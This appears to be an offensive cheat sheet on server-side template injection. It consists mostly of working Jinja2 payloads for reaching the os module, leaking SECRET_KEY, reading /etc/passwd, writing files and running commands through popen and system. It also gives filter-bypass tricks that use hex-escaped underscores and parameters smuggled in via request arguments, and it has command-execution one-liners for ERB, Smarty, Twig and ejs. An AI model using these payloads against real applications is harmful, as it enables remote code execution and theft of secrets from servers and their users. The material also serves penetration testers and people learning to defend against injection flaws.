SSTI¶
-
Identify Template Engine

-
Jinja2
Flask default template engine (doc)
Exploiting Jinja SSTI with limited payload size.
GreHack 2021 - Optimizing Server Side Template Injections payloads for jinja2
RCE-bypassing-as-much-as-I-possibly-can
On SSTI & bypass of jinja2
Builtin Filters- Get
os{{lipsum.__globals__.os}}{{cycler.__init__.__globals__.os}}
- Load
os{{config.from_object('os')}}
{{ config }}- config.SECRET_KEY
- config.from_pyfile(filename)
{{ request }}- request.args.name
- request.cookies.name
- request.headers.name
- request.values.name
- request.form.name
-
sandbox bypass
#All the below payloads works under python2 -------------------------------------------- #Starting from string or list {{ ''.__class__.__base__ }} #File operation {{ ''.__class__.__mro__[2].__subclasses__() }} {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} {{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt').write('test') }} #RCE {{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read() }} > uid=1000(ubuntu)gid=1000(ubuntu)... #All the below payloads works under python3 -------------------------------------------- {{ ().__class__.__base__.__subclasses__() }} {{ ().__class__.__base__.__subclasses__()[132] }} #<class 'os._wrap_close'> {{ ().__class__.__base__.__subclasses__()[132].__init__.__globals__ }} {{ ().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('id') }} #Find eval {% for c in [].__class__.__base__.__subclasses__(): %} {% if c.__name__ == 'catch_warnings': %} {% for b in c.__init__.__globals__.values(): %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys(): %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} #Import {% for x in ().__class__.__base__.__subclasses__() %} {% if "warning" in x.__name__ %} {{x()._module.__builtins__["__import__"]("os").popen(request.args.payload).read()}} {% endif %} {% endfor %} -
Bypass
-
./?ssti={{libsum['__globals__']['os']}} -
._/?ssti={{lipsum['\x5f\x5fglobals\x5f\x5f']['os']}} -
._[]/?ssti={{lipsum|attr('\x5f\x5fglobals\x5f\x5f')|attr('os')}} -
._[]|/?ssti={{getattr(getattr(lipsum,'\x5f\x5fglobals\x5f\x5f'), 'os')}} -
._[]{{}}/?ssti={%if lipsum|attr('\x5f\x5fglobals\x5f\x5f')|attr('os') %}{%endif%} -
length or other special characters (
'")/?ssti={{lipsum[request.args.param1][request.args.param2]}}¶m1=__globals__¶m2=os /?ssti={{config.update(payload=request.args.param1)}}¶m1=ls /?ssti={{lipsum.__globals__.os.popen(config.payload)}}
-
- Get
-
Ruby erb
<%= system('id') %>
- PHP Smarty
{ system('id') }
- PHP Twig
{{ ['id'] | filter('system') }}
- Node.js ejs
<%= global.process.mainModule.require("child_process").execSync("id").toString() %>
- Format String Attack